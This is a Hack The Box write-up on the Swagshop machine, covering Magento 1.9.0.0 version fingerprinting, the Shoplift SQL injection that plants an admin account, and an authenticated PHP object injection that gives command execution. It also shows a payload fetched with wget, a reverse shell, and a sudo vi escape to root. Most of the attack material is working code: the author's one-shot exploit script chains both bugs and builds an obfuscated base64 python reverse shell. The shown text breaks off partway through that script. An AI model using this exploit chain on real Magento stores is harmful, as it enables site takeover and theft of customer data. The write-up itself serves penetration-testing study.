Tags: hack-the-box, magento, sudo, linux, python, bash
Swagshop’s maker (and htb founder/CEO), ch4p, created a delightful box. It originally had at least three ways to gain RCE, though two got patched. I reached out to ch4p, and he was kind enough to explain. The patch was in response to the amount of failed shell uploads to the Magento Connect interface hosted at the /downloader
endpoint. In most cases, failed attempts resulted in everyone else receiving a 503 Service Unavailable error. I liked the (presumably) intended solution because it’s easy, but not too easy. I’m not sure if others agree, but I would have no qualms about adding this box to @TJ_Null’s list of Hack The Box OSCP-like VMs. I found it very common during OSCP to need to tweak existing exploit code ever so slightly to make it work against my target. Overall, another great submission from ch4p!
I initially completed the box using /downloader
. Unfortunately, we won’t be covering the two patched solutions, since I didn’t do my write-up until after the patch. Though, for the sake of completeness, instead of the method described in this post, we could have uploaded a malicious plugin to /downloader
as one way to get RCE. The third way was to use a file editor built into the admin panel to add a webshell or edit a scheduled task with a reverse shell.
As usual, we start with a masscan
followed by a targeted nmap
.
masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.140.all 10.10.10.140
══════════════════════════════════════════════════════════════════════════════════════════════
open tcp 22 10.10.10.140 1557674753
open tcp 80 10.10.10.140 1557674829
nmap -p 22,80 -sC -sV -oA nmap.10.10.10.140 10.10.10.140
════════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Error 503: Service Unavailable
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There’s not a whole lot to be gained from web scanning/forced browsing, so we’ll skip straight to taking a look at the application itself.
Browsing to the web server, we see a Magento eCommerce shop.
Taking a look around, we note an interesting thing about the URL scheme: index.php
is being included in the URL as though it were a directory.
This behavior is likely due to the absence of apache’s mod_rewrite
module. The index.php
thing isn’t super useful at the moment, but it’ll come into play shortly.
Looking around, we see a relatively old copyright tag in the footer of the publically accessible pages.
© 2014 Magento Demo Store. All Rights Reserved.
The date the copyright is indicative of the installation of an older version of Magento. searchsploit
returns more than a few potential exploits.
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution
Magento Server MAGMI Plugin - Multiple Vulnerabilities
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion
Magento eCommerce - Local File Disclosure
Magento eCommerce - Remote Code Execution
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)
It would be nice if we could narrow down the list of candidates by determining Magento’s version. After some research, there are a lot of potential ways to identify the version. The methods found require admin privileges, access to the host’s operating system, or newer versions of Magento. We don’t have any of these things, so we need to get creative. There is a GitHub repository that hosts the older Magento codebase (https://github.com/OpenMage/magento-mirror
). We’ll utilize this repository to identify the version running on our target.
First, we need to identify a file that is likely to (a) be present in most Magento installs and (b) update between versions. Once we identify a suitable file, we’ll download it from the target website, and get the md5 hash of the file. Then we’ll check the md5 of the same file in the different release versions of Magento and compare the two. Once we get a match, we’ll have found the version. Let’s proceed.
Good candidates for this sort of technique are CSS files. We’ll use skin/frontend/default/default/css/styles.css
. Let’s grab the target’s styles.css
and then hash it.
wget http://10.10.10.140//skin/frontend/default/default/css/styles.css
md5sum styles.css
═════════════════
d9c659f7c70e070394eff4290a0a601a styles.css
Our next step is to check the different tagged commits in the commit history and check the md5 hash of the same file across those commits. Shown below are some of the tags in our repository.
A quick aside about git tags. Git can tag specific points in a repository’s history as important. Typically, folks use tags to mark the software’s release points. Say that going from version 1.0 to 2.0 spanned 28 different commits. A tag can point to the commit that ended development on 1.0, and another can point to the commit that ended development on 2.0. That way, people can quickly jump between the two versions of the codebase instead of wading through potentially massive commit histories.
Manually checking each of these sounds incredibly tedious… Let’s script it!
Our basic steps include:
styles.css
We’ll start with the shebang line and a few global variables.
1#!/bin/bash
2
3repo="magento-mirror"
4styles_file="skin/frontend/default/default/css/styles.css"
5target_hash="d9c659f7c70e070394eff4290a0a601a"
Next, we’ll clone the repository if it doesn’t already reside in our current working directory.
7if [[ ! -d "${repo}" ]]; then
8 git clone https://github.com/OpenMage/magento-mirror.git
9fi
With a cloned repo in place, we cd
into the directory with pushd
. pushd
and popd
are used to manipulate a Last In First Out (LIFO) stack of directories that bash maintains. pushd
adds a new directory to the top of the stack and popd
removes a directory from the top of the stack. These commands are useful when we know we’ll want to return to previous directory locations. The actual code below suppresses the output from pushd
and exits the program if pushd
fails.
11pushd "${repo}" >/dev/null || exit
Now, we set up our loop. We can view a list of tags for a given repository by running git tag -l
. We’ll iterate over the results of that command. With each iteration, we’ll checkout the commit to which each tag points. Each git checkout
effectively updates the respository to appear exactly as it did when that version of Magento was released.
13for tag in $(git tag -l); do
14 git checkout tags/"${tag}" 2>/dev/null
We don’t want to bother with checking hashes if our target file doesn’t exist. The following code handles that particular case.
16 if [[ ! -e "$(pwd)/${styles_file}" ]]; then
17 continue
18 fi
If we reach the code below, there is a styles.css
in this version of Magento. We’ll grab the md5 hash of the file and store it in a variable.
20 ver_hash=$(md5sum "$(pwd)/${styles_file}" | awk '{print $1}')
Next, if our target’s hash matches the hash found in the current version of the repository, we’ve located the Magento version running on the target. The code below makes that check and exits the loop if found.
22 if [[ "${ver_hash}" == "${target_hash}" ]]; then
23 echo "Found version: ${tag}"
24 break
25 fi
26done
Finally, we return to the directory from which we started.
28popd >/dev/null || exit
Here is the code in its entirety.
1#!/bin/bash
2
3repo="magento-mirror"
4styles_file="skin/frontend/default/default/css/styles.css"
5target_hash="d9c659f7c70e070394eff4290a0a601a"
6
7if [[ ! -d "${repo}" ]]; then
8 git clone https://github.com/OpenMage/magento-mirror.git
9fi
10
11pushd "${repo}" >/dev/null || exit
12
13for tag in $(git tag -l); do
14 git checkout tags/"${tag}" 2>/dev/null
15
16 if [[ ! -e "$(pwd)/${styles_file}" ]]; then
17 continue
18 fi
19
20 ver_hash=$(md5sum "$(pwd)/${styles_file}" | awk '{print $1}')
21
22 if [[ "${ver_hash}" == "${target_hash}" ]]; then
23 echo "Found version: ${tag}"
24 break
25 fi
26done
27
28popd >/dev/null || exit
And now we can try to execute the script.
./get-version.sh
════════════════
Cloning into 'magento-mirror'...
remote: Enumerating objects: 220249, done.
remote: Total 220249 (delta 0), reused 0 (delta 0), pack-reused 220249
Receiving objects: 100% (220249/220249), 107.64 MiB | 7.94 MiB/s, done.
Resolving deltas: 100% (131674/131674), done.
Found version: 1.9.0.0
There we have it; our target is running version 1.9.0.0. Let’s move on.
As we check through the different exploits returned by searchsploit
, we come across one that boasts RCE.
Magento eCommerce - Remote Code Execution exploits/xml/webapps/37977.py
We can check the source by running the command below.
searchsploit -x 37977
In doing so, we find a reference to the initial discovery made by Checkpoint.
Magento shoplift bug originally discovered by CheckPoint team (http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/)
Following the link to Checkpoint’s blog post, we see that the vulnerable versions include 1.9.1.0.
We know ours is older and likely vulnerable as well. The meat of the exploit code adds a new admin user to the Magento backend database via MySQL statements.
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
By default, the exploit adds the user forme
with a password of forme
. Let’s give it a try.
We can grab a copy of the code and place it in our current directory by running the following command.
searchsploit -m 37977
Before we run the exploit, we need to remove all of the non-python text from it. We’ll also need to update the target URL.
On a side note, I’m curious how many people have thrown this exploit at target.com/admin by just blindly executing it.
With that done, we can give it a test run.
python 37977.py
═══════════════
DID NOT WORK
Well, that’s disappointing. We’ll fire up burp and inspect the generated traffic, but before we can do that we need to redirect the POST request in the exploit to burp. Since the exploit code uses python’s requests module, it’s simple to point it at burp using the proxies
keyword argument to the post
method.
35pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
36
37# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
38r = requests.post(target_url, proxies={'http': 'localhost:8080'},
39 data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
40 "filter": base64.b64encode(pfilter),
41 "forwarded": 1})
After rerunning the exploit with burp in place, we can examine the request/response.
Our exploit is returning a 404 error when requesting /admin/Cms_Wysiwyg/directive/index/
. Recall the index.php
oddity? Let’s see what happens when we request /index.php/admin
.
Success! Let’s update the exploit script with the correct URL.
11import requests
12import base64
13import sys
14
15target = "http://10.10.10.140/index.php"
Another run of the script appears to have worked.
python 37977.py
═══════════════
WORKED
Check http://10.10.10.140/index.php/admin with creds forme:forme
When we try to login as the new user, we arrive at the admin dashboard!
Now that we’re an admin, we have a lot more options available to us. We’ll start by taking a closer look at the results from searchsploit
again.
Recall that the version of Magento is 1.9.0.0. When we used searchsploit
earlier, there was another exploit that targeted versions earlier than 1.9.0.1 but got discarded because it required authentication.
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution exploits/php/webapps/37811.py
Now that we have a legitimate Magento admin user let’s see what we can do with that exploit.
We’ll bring the script into our current working directory.
searchsploit -m 37811
Taking a quick look at the script, we can see that it is performing a PHP Object Injection attack against the web application. PHP Object Injection is just a specific term for PHP deserialization. We’ll use the script to send a serialized PHP object that will utilize gadgets found naturally in the application to gain RCE. We can also see that we need to supply some basic settings by editing the script. Let’s handle that first.
31# Config.
32username = 'forme'
33password = 'forme'
34php_function = 'system' # Note: we can only pass 1 argument to the function
35install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml
We update the username
and password
variables with our new credentials. We need to edit the install_date
variable as well. Thankfully, the script directs us to the install date’s exact location.
Now we can go back and update the script.
31# Config.
32username = 'forme'
33password = 'forme'
34php_function = 'system' # Note: we can only pass 1 argument to the function
35install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
While we’re at it, we can see a line that has been commented out but appears to be configuring the script to use a proxy. Let’s uncomment that line so we can see the requests in burp.
45# Setup the mechanize browser and options
46br = mechanize.Browser()
47br.set_proxies({"http": "localhost:8080"})
48br.set_handle_robots(False)
With all that done, let’s see what happens when we run the exploit.
python 37811.py http://10.10.10.140/index.php/admin 'uname -a'
══════════════════════════════════════════════════════════════
Traceback (most recent call last):
File "37811.py", line 69, in <module>
tunnel = tunnel.group(1)
AttributeError: 'NoneType' object has no attribute 'group'
That’s unfortunate. Below is the offending code.
67request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
68tunnel = re.search("src=\"(.*)\?ga=", request.read())
69tunnel = tunnel.group(1)
The regular expression on line 68 failed to find what it was looking for. The regex appears to be looking for the value of a URL parameter, but we don’t know that for sure yet. All we know is that it expects to find a line that contains src=
and ?ga=
. The string between those two values it captures and stores in the tunnel
variable on line 69. Let’s see if we can figure out why it’s failing to find what it needs by checking out the request in burp.
There’s a handy feature in burp that lets you repeat requests in the browser. Let’s do that by right-clicking the request, hovering over Request in browser then selecting In original session.
When the prompt below comes up, we click the Copy button.
After that, we’ll head over to firefox and paste the URL and hit enter. When we do, we see an interesting dropdown menu.
Taking a look at the page source, we see that the value for the current option selected is 7d
.
We can also see that there is a 7d
in the request’s URL. We can see the use of 7d
in burp, the exploit script, and the URL bar in firefox. Let’s change the value in the URL bar to one of the other options. Updating the URL to 2y
changes No Data Found to chart. Additionally, we can see an <img>
tag in the page’s source.
On closer inspection, we can see that the <img>
tag contains an src
attribute. The src
attribute’s value is a URL that has the ga
parameter. It looks as though we’ve discovered how to get the data that the regular expression expects, huzzah!
<img src="http://10.10.10.140/index.php/admin/dashboard/tunnel/key/ca812f83758a75b3aaa3bfc037ceef46/?ga=YTo5OntzOjM6ImNodCI7czoyOiJsYyI7czozOiJjaGYiO3M6Mzk6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCI7czozOiJjaG0iO3M6MTQ6IkIsZjRkNGIyLDAsMCwwIjtzOjQ6ImNoY28iO3M6NjoiZGI0ODE0IjtzOjM6ImNoZCI7czozODoiZTpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBcXFBQUFBQUEiO3M6NDoiY2h4dCI7czozOiJ4LHkiO3M6NDoiY2h4bCI7czo3MzoiMDp8fHwwMy8yMDE4fHx8MDgvMjAxOHx8fDExLzIwMTh8fHwwMi8yMDE5fHx8MDUvMjAxOXx8fDA4LzIwMTl8MTp8MHwxfDJ8MyI7czozOiJjaHMiO3M6NzoiNTg3eDMwMCI7czozOiJjaGciO3M6MzU6IjUuODgyMzUyOTQxMTc2NSwzMy4zMzMzMzMzMzMzMzMsMSwwIjt9&h=2a0701ca236e48580d40996a62bd3b51" alt="chart" title="chart" />
Now that we know how to get results, we can update the exploit script. Specifically, we need to change 7d
to 2y
on line 67.
67request = br.open(url + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)
68tunnel = re.search("src=\"(.*)\?ga=", request.read())
69tunnel = tunnel.group(1)
With that complete, we can try the exploit again.
python 37811.py http://10.10.10.140/index.php/admin 'uname -a'
══════════════════════════════════════════════════════════════
Linux swagshop 4.4.0-146-generic #172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Nice! We have RCE.
Now that we have RCE let’s get a real shell. We’ll start by generating a payload with msfvenom
.
msfvenom -p linux/x64/shell_reverse_ipv6_tcp LHOST=dead:beef:2::1011 LPORT=12345 -f elf -o lin-x64-ipv6-rev-12345.elf
═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
No encoder or badchars specified, outputting raw payload
Payload size: 90 bytes
Final size of elf file: 210 bytes
Saved as: lin-x64-ipv6-rev-12345.elf
If you’re wondering why we’re using an ipv6 binary, that’s a fair question. I wrote the linux x64 ipv6 bind and reverse shells for Metasploit. I always think it’s neat when I get a chance to use them, so I do just that when I have the opportunity.
Next, we’ll set up a python webserver.
python3 -m http.server
Then, we’ll transfer our binary to the remote system.
python 37811.py http://10.10.10.140/index.php/admin 'wget 10.10.14.19:8000/lin-x64-ipv6-rev-12345.elf'
After that, we’ll start our netcat listener.
nc -nvl6p 12345
Finally, we’ll make the binary executable and run it.
python 37811.py http://10.10.10.140/index.php/admin 'chmod +x lin-x64-ipv6-rev-12345.elf && ./lin-x64-ipv6-rev-12345.elf'
If all went well, we should have a shell on the remote system.
Ncat: Connection from dead:beef::250:56ff:feb2:54da.
Ncat: Connection from dead:beef::250:56ff:feb2:54da:58462.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Even though we’re www-data, the permissions on user.txt
allow us to read the contents.
cat /home/haris/user.txt
════════════════════════
a448...
\o/ - access level: www-data
After some very basic enumeration, we see that www-data can run a sudo
command.
sudo -l
═══════
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
We’re able to run vi
without a password and edit any file in the webroot.
Exploitation is straightforward. We’ll open up a vi
session using our sudo
access. After that, we’ll spawn a root shell.
sudo /usr/bin/vi /var/www/html/doesntmatter
We’ll receive some warnings, and the editor doesn’t look like a typical vim
session, but everything will work out in the end. Once we’re in the editor, privesc is simple. We use the exclamation point to run what vim
calls a filter command.
If you’re interested in reading about filter commands, open up
vim
and type:help !
:!sh
════
id
uid=0(root) gid=0(root) groups=0(root)
Of course, we grab root.txt
.
cat /root/root.txt
══════════════════
c2b0...
___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password
PS: Use root flag as password!
\o/ - root access
I had some free time on my hands and thought it would be fun to marry up the two exploits used here to create a script that goes from zero access to full RCE in one fell swoop. I removed the dependence on the mechanize library, changing all the web code to use the requests library instead. I updated the code to python3 and added logic to grab the install date. Also, I added the ability to either run a command or spawn a reverse shell with an automatic netcat listener.
usage: magento-oneshot.py [-h] (--command COMMAND | --callback CALLBACK)
[--username USERNAME] [--password PASSWORD]
[--php-function PHP_FUNCTION]
[--history-length {24h,7d,1m,1y,2y}]
target
positional arguments:
target target url of magento server
optional arguments:
-h, --help show this help message and exit
--command COMMAND Command to be run on the remote system
--callback CALLBACK IP address and port to callback to (format: IP:PORT)
--username USERNAME username of new admin user (default: forme)
--password PASSWORD password of new admin user (default: forme)
--php-function PHP_FUNCTION
php function to use for command execution (default:
system)
--history-length {24h,7d,1m,1y,2y}
number of days back to search for orders (default: 7d)
Here are two example runs of the script in action. First, run a single command.
python3 magento-oneshot.py --command id --username epi --password swagshop --history-length 2y http://10.10.10.140/index.php
════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
[-] Adding epi to http://10.10.10.140/index.php with a password of swagshop
[+] Added epi to http://10.10.10.140/index.php with a password of swagshop
[-] Logging in to http://10.10.10.140/index.php as epi
[-] Searching historical data using 2y as period parameter
[-] Parsing local.xml for install date.
[+] Found install date: Wed, 08 May 2019 07:23:09 +0000
[-] Sending 'id' for execution on the distant end.
[+] Exploit succeeded
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Second, spawn a reverse shell. One helpful feature about the –callback option is that it automatically spawns a listener for us.
python3 magento-oneshot.py --callback 10.10.14.19:12345 --username epi --password swagshop --history-length 2y http://10.10.10.140/index.php
════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
[+] Valid credentials (epi:swagshop) found. Proceeding without adding a new user.
[-] Searching historical data using 2y as period parameter
[-] Parsing local.xml for install date.
[+] Found install date: Wed, 08 May 2019 07:23:09 +0000
[+] Initiating callback to 10.10.14.19:12345.
I won’t bore you by walking you through the code. You can view the script at your leisure below as well as at my HTB Scripts for Retired Boxes respository.
1"""
2Title: magento-1.9-oneshot
3Date: 20190913
4Author: epi <epibar052@gmail.com>
5 https://epi052.gitlab.io/notes-to-self/
6Tested on:
7 Magento 1.9.0.0
8 Linux 4.4.0-146-generic #172-Ubuntu SMP 2019 x86_64 GNU/Linux
9 Python 3.7.4
10 requests 2.20.0
11 lxml 4.3.3
12Example run on HTB's Swagshop:
13 python3 magento-oneshot.py http://10.10.10.140/index.php --history-length 1y --command id
14 python3 magento-oneshot.py http://10.10.10.140/index.php --history-length 1y --callback 10.10.14.19:12345
15
16Credits:
17 This script uses logic from the two exploits below for a more seamless Magento exploitation experience.
18
19 Magento Shoplift exploit (SUPEE-5344)
20 https://www.exploit-db.com/exploits/37977
21 Author : Manish Kishan Tanwar AKA error1046
22 Date : 25/08/2015
23 Debugged At : Indishell Lab(originally developed by joren)
24
25 Magento CE < 1.9.0.1 Post Auth RCE
26 https://www.exploit-db.com/exploits/37811
27 Date: 08/18/2015
28 Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
29"""
30import re
31import base64
32import argparse
33import subprocess
34from hashlib import md5
35from urllib.parse import urlparse, urljoin
36
37import requests
38from lxml import html, etree
39
40HISTORY_LENGTHS = ["24h", "7d", "1m", "1y", "2y"]
41
42
43def format_query(user: str, pswd: str) -> str:
44 """ Formats and returns MySQL statements to add an admin user to the Magento database.
45
46 :param user: new user's username
47 :param pswd: new user's password
48 :return: string of MySQL statements that add an admin user to the database
49 """
50 return f"""
51 SET @SALT = 'rp';
52 SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{pswd}') ), CONCAT(':', @SALT ));
53 SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
54 INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{user}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
55 INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{user}'),'Firstname');
56 """.replace(
57 "\n", ""
58 )
59
60
61def adduser(tgt: str, username: str, password: str) -> requests.Response:
62 """ Add an admin user to the Magento database.
63
64 :param tgt: base url of the target site
65 :param username: new user's username
66 :param password: new user's password
67 :return: requests.Response
68 """
69 query = format_query(username, password)
70 pfilter = f"popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{query}"
71 tgt_url = f"{tgt}/admin/Cms_Wysiwyg/directive/index/"
72
73 # e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is:
74 # {{block type=Adminhtml/report_search_grid output=getCsvFile}}
75 return requests.post(
76 tgt_url,
77 data={
78 "___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
79 "filter": base64.b64encode(pfilter.encode()),
80 "forwarded": 1,
81 },
82 )
83
84
85def validate_http(target_value: str) -> str:
86 """ Validates values supplied to the positional parameter target by confirming the presence of a url scheme.
87
88 :param target_value: value supplied to the positional parameter target
89 :return: validated target url
90 """
91 if not target_value.startswith("http"):
92 raise argparse.ArgumentTypeError(
93 f"value supplied as target must start with either http:// or https://; found {target_value}"
94 )
95 return target_value
96
97
98def validate_callback(callback_value: str) -> str:
99 """ Validates values supplied to the optional parameter callback by confirming IP:PORT format.
100
101 :param callback_value: value supplied to the optional parameter callback
102 :return: validated callback ip:port combo
103 """
104 values = callback_value.split(":")
105 if len(values) == 2 and values[1].isdigit():
106 return callback_value
107 raise argparse.ArgumentTypeError(
108 f"value supplied as callback must start be in the form IP:PORT; found {callback_value}"
109 )
110
111
112def get_initial_session_and_formkey(adm_url: str) -> (requests.Session, str):
113 """ Establish initial requests.Session with the target located at the provided URL.
114
115 :param adm_url: target's admin url
116 :return: tuple(requests.Session, str)
117 """
118 sess = requests.Session()
119 resp = sess.get(adm_url)
120 tree = html.fromstring(resp.content)
121
122 formkeys = tree.xpath("//input[@name='form_key']") # form_key needed for login POST request
123 if formkeys:
124 return sess, formkeys[0].value
125
126
127def login(tgt: str, user: str, pswd: str) -> (requests.Session, requests.Response, str):
128 """ Attempt to login to the Magento admin interface.
129
130 :param tgt: target Magento url
131 :param user: username with which to login
132 :param pswd: password with which to login
133 :return: tuple(requests.Session, requests.Response, str)
134 """
135 admin_url = f"{tgt}/admin"
136 try:
137 s, fk = get_initial_session_and_formkey(admin_url)
138 except TypeError:
139 exit(
140 "[!] Could not find form_key attribute on hidden input field."
141 "\n\tEnsure your target url is correct."
142 )
143
144 r = s.post(admin_url, data={"login[username]": user, "login[password]": pswd, "form_key": fk})
145 return None if "Log into Magento Admin Page" in r.text else s, r, fk
146
147
148def search_orders(login_resp: requests.Response, hist_len: str, key: str, sess: requests.Session):
149 """ Performs a POST request to get historic data in the form of a chart.
150
151 The response is used as part of a PHP Object Injection attack.
152
153 :param login_resp: response received from initial login
154 :param hist_len: length of time to search back orders
155 :param key: form_key needed to send POST request
156 :param sess: current admin session
157 :return: tuple(requests.Session, requests.Response)
158 """
159 ajax_url = re.search(b"ajaxBlockUrl = '(.*)'", login_resp.content).group(1)
160
161 resp = sess.post(
162 f"{ajax_url.decode()}block/tab_orders/period/{hist_len}/?isAjax=true",
163 data={"isAjax": "false", "form_key": key},
164 )
165
166 return sess, resp
167
168
169def get_src_value(orders_resp: requests.Response) -> str:
170 """ Retrieve the lone <img> tag's src attribute in the provided Response object.
171
172 :param orders_resp: requests.Response received from search_orders
173 :return: src attribue of the <img> tag contained within the Response
174 """
175 tree = html.fromstring(orders_resp.content)
176 xpath_qry = tree.xpath("//img")
177 return xpath_qry[0].get("src") if len(xpath_qry) > 0 else None
178
179
180def get_install_date(url: str) -> str:
181 """ Retrieve installation date from /app/etc/local.xml.
182
183 :param url: target url
184 :return: string representing installation date
185 """
186 parsed_url = urlparse(url)
187 base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
188 r = requests.get(urljoin(base_url, "/app/etc/local.xml"))
189 if not r.ok:
190 exit(f"[!] Could not retrieve local.xml")
191
192 dates = etree.fromstring(r.content).xpath("//config/global/install/date")
193 if not dates:
194 exit("[!] Could not find install date.")
195
196 return dates[0].text
197
198
199def format_payload(php_func: str, cmd: str) -> bytes:
200 """ Insert command to be run into the PHP Object Injection payload then base64 encode the result.
201
202 :param php_func: php function to use for OS execution
203 :param cmd: command to be run
204 :return: encoded POI payload
205 """
206 payload = (
207 'O:8:"Zend_Log":1:{s:11:"\00*\00_writers";a:2:{i:0;O:20:"Zend_Log_Writer_Mail":4:{s:16:'
208 '"\00*\00_eventsToMail";a:3:{i:0;s:11:"EXTERMINATE";i:1;s:12:"EXTERMINATE!";i:2;s:15:"'
209 'EXTERMINATE!!!!";}s:22:"\00*\00_subjectPrependText";N;s:10:"\00*\00_layout";O:23:"'
210 f'Zend_Config_Writer_Yaml":3:{{s:15:"\00*\00_yamlEncoder";s:{len(php_func)}:"{php_func}";s:17:"\00*\00'
211 '_loadedSection";N;s:10:"\00*\00_config";O:13:"Varien_Object":1:{s:8:"\00*\00_data"'
212 f';s:{len(cmd)}:"{cmd}";}}}}s:8:"\00*\00_mail";O:9:"Zend_Mail":0:{{}}}}i:1;i:2;}}}}'
213 )
214 return base64.b64encode(payload.encode())
215
216
217def get_exploit_params(php_func, inst_date, cmd):
218 """ Create URL parameters used for PHP Object Injection.
219
220 :param php_func: php function to use for OS execution
221 :param inst_date: Magento installation date
222 :param cmd: command to be run
223 :return: url parameters for exploitation as string
224 """
225 payload = format_payload(php_func, cmd)
226 gh_value = md5(payload + inst_date.encode()).hexdigest()
227 return f"?ga={payload.decode()}&h={gh_value}"
228
229
230def start_netcat(port: str) -> None:
231 """ Spawn netcat listener in new xterm window.
232
233 :param port: port on which to listen
234 """
235 subprocess.Popen(
236 [
237 "xterm",
238 "-fn",
239 "-misc-fixed-medium-r-normal--18-*-*-*-*-*-iso8859-15",
240 "+sb",
241 "-geometry",
242 "100x25+0+0",
243 "-e",
244 f"nc -nvlp {port}",
245 ]
246 )
247
248
249def get_callback_command(ip: str, port: str) -> str:
250 """ Generate base64 encoded reverse shell callback using python3.
251
252 :param ip: ip to callback to
253 :param port: port to callback to
254 :return: callback command to be triggered on target
255 """
256 # shellpop --payload linux/reverse/tcp/python --host 192.168.1.1 --port 12345 --base64
257 command = '''python3 -c "import os;import pty;import socket;tQFhDNb='CALLBACK_IP';EerCMGzLKc=CALLBACK_PORT;OMAbFbCzptThAfC=socket.socket(socket.AF_INET,socket.SOCK_STREAM);OMAbFbCzptThAfC.connect((tQFhDNb,EerCMGzLKc));os.dup2(OMAbFbCzptThAfC.fileno(),0);os.dup2(OMAbFbCzptThAfC.fileno(),1);os.dup2(OMAbFbCzptThAfC.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');OMAbFbCzptThAfC.close();"'''
258 command = command.replace("CALLBACK_IP", ip)
259 command = command.replace("CALLBACK_PORT", port)
260 encoded_cmd = base64.b64encode(command.encode())
261 return f"echo {encoded_cmd.decode()}|base64 -d|/bin/bash"
262
263
264def main(args):
265 # attempt to login first; if it works, no need to add user
266 session, resp, formkey = login(args.target, args.username, args.password)
267
268 if session is None:
269 print(f"[-] Adding {args.username} to {args.target} with a password of {args.password}")
270
271 resp = adduser(args.target, args.username, args.password)
272 if resp.ok:
273 print(f"[+] Added {args.username} to {args.target} with a password of {args.password}")
274 else:
275 exit(f"[!] Could not add user to {args.target}")
276
277 print(f"[-] Logging in to {args.target} as {args.username}")
278
279 session, resp, formkey = login(args.target, args.username, args.password)
280 if session is None:
281 exit(f"[!] Could not login as {args.username} to {args.target}")
282 else:
283 print(
284 f"[+] Valid credentials ({args.username}:{args.password}) found. Proceeding without adding a new user."
285 )
286
287 print(f"[-] Searching historical data using {args.history_length} as period parameter")
288
289 session, resp = search_orders(resp, args.history_length, formkey, session)
290
291 src_value = get_src_value(resp)
292 if not resp.ok or not src_value:
293 exit(
294 "[!] Did not receive results from orders search."
295 f"\n\tTry changing value passed to --history-length. Current value is {args.history_length}"
296 f"\n\tPossible values are {', '.join(HISTORY_LENGTHS)}"
